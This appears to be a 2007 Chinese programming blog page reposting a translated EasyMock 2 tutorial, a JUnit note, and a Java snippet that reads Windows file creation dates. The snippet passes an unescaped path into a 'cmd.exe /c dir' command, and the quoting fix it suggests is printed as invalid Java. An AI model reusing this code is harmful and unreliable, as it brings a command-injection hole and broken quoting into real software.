  • deprecated old API

posted @ 2007-10-24 13:53 九宝 阅读(758) | 评论 (0)编辑 收藏

EasyMock 2 使用指南(转)

关于单元测试,模拟对象一直是不可缺少的,尤其对于复杂的应用来说。
       这么多的模拟对象框架中,个人觉得比较好用的当属EasyMock了。当然JMock也不错。
       下面简单介绍一下EasyMock 。(基本翻译EasyMock的文档,可能有些地方不是很恰当)
     
       EasyMock 2 主要用于给指定的接口提供模拟对象。

模拟对象只是模拟领域代码直接的部分行为,能检测是否他们如定义中的被使用。使用 Mock 对象,来模拟合作接口,有助于隔离测试相应的领域类。

创建和维持 Mock 对象经常是繁琐的任务,并且可能会引入错误。 EasyMock 2 动态产生 Mock 对象,不需要创建,并且不会产生代码。

有利的方面:

不需要手工写类来处理 mock 对象。

支持安全的重构 Mock 对象:测试代码不会在运行期打断当重新命名方法或者更改方法参数。

支持返回值和例外。

支持检察方法调用次序,对于一个或者多个 Mock 对象。

不利的方面: 2.0 仅使用于 java 2 版本 5.0 或者以上
    

    以一个例子来说明如何使用EasyMock:
   假设有一个合作接口Collaborator:
           
            
package org.easymock.samples;
 
public interface Collaborator {
    void documentAdded(String title);
    void documentChanged(String title);
    void documentRemoved(String title);
    byte voteForRemoval(String title);
    byte[] voteForRemovals(String[] title);
}

我们主要的测试类为:
            
package org.easymock.samples;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
public class ClassUnderTest {
    private Set<Collaborator> listeners = new HashSet<Collaborator>();
    private Map<String, byte[]> documents = new HashMap<String, byte[]>();
    public void addListener(Collaborator listener) {
        listeners.add(listener);
    }
    public void addDocument(String title, byte[] document) {
        boolean documentChange = documents.containsKey(title);
        documents.put(title, document);
        if (documentChange) {
            notifyListenersDocumentChanged(title);
        } else {
            notifyListenersDocumentAdded(title);
        }
    }
    public boolean removeDocument(String title) {
        if (!documents.containsKey(title)) {
            return true;
        }
        if (!listenersAllowRemoval(title)) {
            return false;
        }
        documents.remove(title);
        notifyListenersDocumentRemoved(title);
        return true;
    }
    public boolean removeDocuments(String[] titles) {
        if (!listenersAllowRemovals(titles)) {
            return false;
        }
        for (String title : titles) {
            documents.remove(title);
            notifyListenersDocumentRemoved(title);
        }
        return true;
    }
    private void notifyListenersDocumentAdded(String title) {
        for (Collaborator listener : listeners) {
            listener.documentAdded(title);
        }
    }
    private void notifyListenersDocumentChanged(String title) {
        for (Collaborator listener : listeners) {
            listener.documentChanged(title);
        }
    }
    private void notifyListenersDocumentRemoved(String title) {
        for (Collaborator listener : listeners) {
            listener.documentRemoved(title);
        }
    }
    private boolean listenersAllowRemoval(String title) {
        int result = 0;
        for (Collaborator listener : listeners) {
            result += listener.voteForRemoval(title);
        }
        return result > 0;
    }
    private boolean listenersAllowRemovals(String[] titles) {
        int result = 0;
        for (Collaborator listener : listeners) {
            result += listener.voteForRemovals(titles);
        }
        return result > 0;
    }
}

第一个Mock 对象

我们将创建test case 并且围绕此理解相关的EasyMock 包的功能。第一个测试方法,用于检测是否删除一个不存在的文档,不会发通知给合作类。
          
            

            
package org.easymock.samples;
 
import junit.framework.TestCase;
 
public class ExampleTest extends TestCase {
 
    private ClassUnderTest classUnderTest;
    private Collaborator mock;
 
    protected void setUp() {
        classUnderTest = new ClassUnderTest();
        classUnderTest.addListener(mock);
    }
 
    public void testRemoveNonExistingDocument() {    
        // This call should not lead to any notification
        // of the Mock Object: 
        classUnderTest.removeDocument("Does not exist");
    }
}
    对于多数测试类,使用EasyMock 2,我们只需要静态引入org.easymock.EasyMock的方法。      
            
 
            

import static org.easymock.EasyMock.*;

import junit.framework.TestCase;

public class ExampleTest extends TestCase {

    private ClassUnderTest classUnderTest;

    private Collaborator mock;

   

}

     

为了取得Mock 对象,需要:

l         创建Mock 对象从需要模拟的接口

l         记录期待的行为

l         转换到Mock对象,replay状态。

例如:     
            
 
            
protected void setUp() {
        mock = createMock(Collaborator.class); // 1
        classUnderTest = new ClassUnderTest();
        classUnderTest.addListener(mock);
    }

 public void testRemoveNonExistingDocument() {
        // 2 (we do not expect anything)
        replay(mock); // 3
        classUnderTest.removeDocument("Does not exist");
    }
  

在执行第三步后,mock Collaborator接口的Mock对象,并且期待没有什么调用。这就意味着,如果我们改变ClassUnderTest去调用此接口的任何方法,则Mock对象会抛出AssertionError

        
            
 
            
java.lang.AssertionError: 
  Unexpected method call documentRemoved("Does not exist"):
    at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
    at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
    at $Proxy0.documentRemoved(Unknown Source)
    at org.easymock.samples.ClassUnderTest.notifyListenersDocumentRemoved(ClassUnderTest.java:74)
    at org.easymock.samples.ClassUnderTest.removeDocument(ClassUnderTest.java:33)
    at org.easymock.samples.ExampleTest.testRemoveNonExistingDocument(ExampleTest.java:24)
    ...

增加行为

       让我们开始第二个测试。如果documentclassUnderTest增加,我们期待调用
mock.documentAdded()在Mock对象使用document的标题作为参数:
            
 
            
 public void testAddDocument() {
        mock.documentAdded("New Document"); // 2
        replay(mock); // 3
        classUnderTest.addDocument("New Document", new byte[0]); 
    }
如果classUnderTest.addDocument("New Document", new byte[0])调用期待的方法,使用错误的参数,Mock对象会抛出AssertionError:
            
 
            
java.lang.AssertionError: 
  Unexpected method call documentAdded("Wrong title"):
    documentAdded("New Document"): expected: 1, actual: 0
    at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
    at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
    at $Proxy0.documentAdded(Unknown Source)
    at org.easymock.samples.ClassUnderTest.notifyListenersDocumentAdded(ClassUnderTest.java:61)
    at org.easymock.samples.ClassUnderTest.addDocument(ClassUnderTest.java:28)
    at org.easymock.samples.ExampleTest.testAddDocument(ExampleTest.java:30)
    ...

同样,如果调用多次此方法,则也会抛出例外:

            
 
            
java.lang.AssertionError: 
  Unexpected method call documentAdded("New Document"):
    documentAdded("New Document"): expected: 1, actual: 1 (+1)
    at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
    at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
    at $Proxy0.documentAdded(Unknown Source)
    at org.easymock.samples.ClassUnderTest.notifyListenersDocumentAdded(ClassUnderTest.java:62)
    at org.easymock.samples.ClassUnderTest.addDocument(ClassUnderTest.java:29)
    at org.easymock.samples.ExampleTest.testAddDocument(ExampleTest.java:30)
    ...

验证行为

       当我们指定行为后,我们将验证实际发生的。当前的测试将会判断是否Mock对象会真实调用。可以调用verify(mock)来山正是否指定的行为被调用。

            
 
            
public void testAddDocument() {
        mock.documentAdded("New Document"); // 2 
        replay(mock); // 3
        classUnderTest.addDocument("New Document", new byte[0]);
        verify(mock);
    }

如果失败,则抛出AssertionError

期待明显数量的调用

到现在,我们的测试只是调用一个简单的方法。下一个测试将会检测是否已经存在document导致mock.documentChanged()调用。为了确认,调用三次

            
 
            
public void testAddAndChangeDocument() {
        mock.documentAdded("Document");
        mock.documentChanged("Document");
        mock.documentChanged("Document");
        mock.documentChanged("Document");
        replay(mock);
        classUnderTest.addDocument("Document", new byte[0]);
        classUnderTest.addDocument("Document", new byte[0]);
        classUnderTest.addDocument("Document", new byte[0]);
        classUnderTest.addDocument("Document", new byte[0]);
        verify(mock);
    }

为了避免重复的mock.documentChanged("Document"),EasyMock提供一个快捷方式。可以通过调用方法expectLastCall().times(int times)来指定最后一次调用的次数。

            
 
            
 public void testAddAndChangeDocument() {
        mock.documentAdded("Document");
        mock.documentChanged("Document");
        expectLastCall().times(3);
        replay(mock);
        classUnderTest.addDocument("Document", new byte[0]);
        classUnderTest.addDocument("Document", new byte[0]);
        classUnderTest.addDocument("Document", new byte[0]);
        classUnderTest.addDocument("Document", new byte[0]);
        verify(mock);
    }

指定返回值

       对于指定返回值,我们通过封装expect(T value)返回的对象并且指定返回的值,使用方法andReturn(Object returnValue)于expect(T value).返回的对象。

例如:

            
 
            
public void testVoteForRemoval() {
        mock.documentAdded("Document");   // expect document addition
        // expect to be asked to vote for document removal, and vote for it
        expect(mock.voteForRemoval("Document")).andReturn((byte) 42);
        mock.documentRemoved("Document"); // expect document removal
        replay(mock);
        classUnderTest.addDocument("Document", new byte[0]);
        assertTrue(classUnderTest.removeDocument("Document"));
        verify(mock);
    } 
 
    public void testVoteAgainstRemoval() {
        mock.documentAdded("Document");   // expect document addition
        // expect to be asked to vote for document removal, and vote against it
        expect(mock.voteForRemoval("Document")).andReturn((byte) -42);
        replay(mock);
        classUnderTest.addDocument("Document", new byte[0]);
        assertFalse(classUnderTest.removeDocument("Document"));
       verify(mock);
    }
取代expect(T value)调用,可以通过expectLastCall().来代替
            
 expect(mock.voteForRemoval("Document")).andReturn((byte) 42);

等同于

            
 
            
mock.voteForRemoval("Document");
expectLastCall().andReturn((byte) 42);

处理例外

对于指定的例外(更确切的:Throwables)被抛出,由expectLastCall()和expect(T value)返回的对象,提供了方法andThrow(Throwable throwable)。方法不得不被调用记录状态,在调用Mock对象后,对于此指定了要抛出的Throwable。


基本的方法,已经说完了,当然这不能完全说明EasyMock的使用。更多的因素请参考EasyMock的文档
http://www.easymock.org/Documentation.html

posted @ 2007-10-24 13:49 九宝 阅读(249) | 评论 (0)编辑 收藏

JUnit 学习笔记 2007版(转)

     摘要: 一、简介     JUnit是一款由Erich Gamma(《设计模式》的作者)和Kent Beck(极限编程的提出者)编写的开源的回归测试框架,供Java编码人员做单元测试之用。当前版本4.1,可以从www.junit.org网站上获得。与早期的JUnit 3相比,JUnit 4.1依赖于Java 5.0的新特性,因此无法兼容于jdk 1.4,可以说是一...  阅读全文

posted @ 2007-10-24 13:10 九宝 阅读(442) | 评论 (0)编辑 收藏

Windows 下java获得文件创建时间的办法 (转)

public static String getFileCreateDate(File _file){
        File file=_file;       
        try{
         Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir " + file.getAbsolutePath() + " /tc");
         DataInputStream in = new DataInputStream(ls_proc.getInputStream());
         for (int i = 0; i < 5; i++ )
         {
          in.readLine();
         }
         String stuff = in.readLine();
         StringTokenizer st = new StringTokenizer(stuff);
         String dateC = st.nextToken();
            String  time=st.nextToken();
            in.close();
            return dateC;
         }catch (Exception e){
          return null;
         }
 }

在jdk中,File的操作并没有取得文件创建时间的方法。唯一提供提供的方法是lastModified()返回long值。牺牲创建时间的方法实在是为了满足跨平台的需要。但在windows环境中,需要取得文件创建时间的情况是存在的。
实现的办法是通过windows本地命令行来取得创建日期。以上代码主要取自http://forum.java.sun.com/thread.jspa?threadID=311281&messageID=1247450
但此文提供的原始代码尚有不足,无法解析带有空格的文件夹名,如:C:\\Program files\等,解决办法是在路径前后加上",执行语句变为"cmd.exe /c dir "" + file.getAbsolutePath() + "" /tc"。以上方法返回的是我实际程序需要的数据格式,大家有兴趣可以自行改编

posted @ 2007-10-23 11:20 九宝 阅读(1996) | 评论 (0)编辑 收藏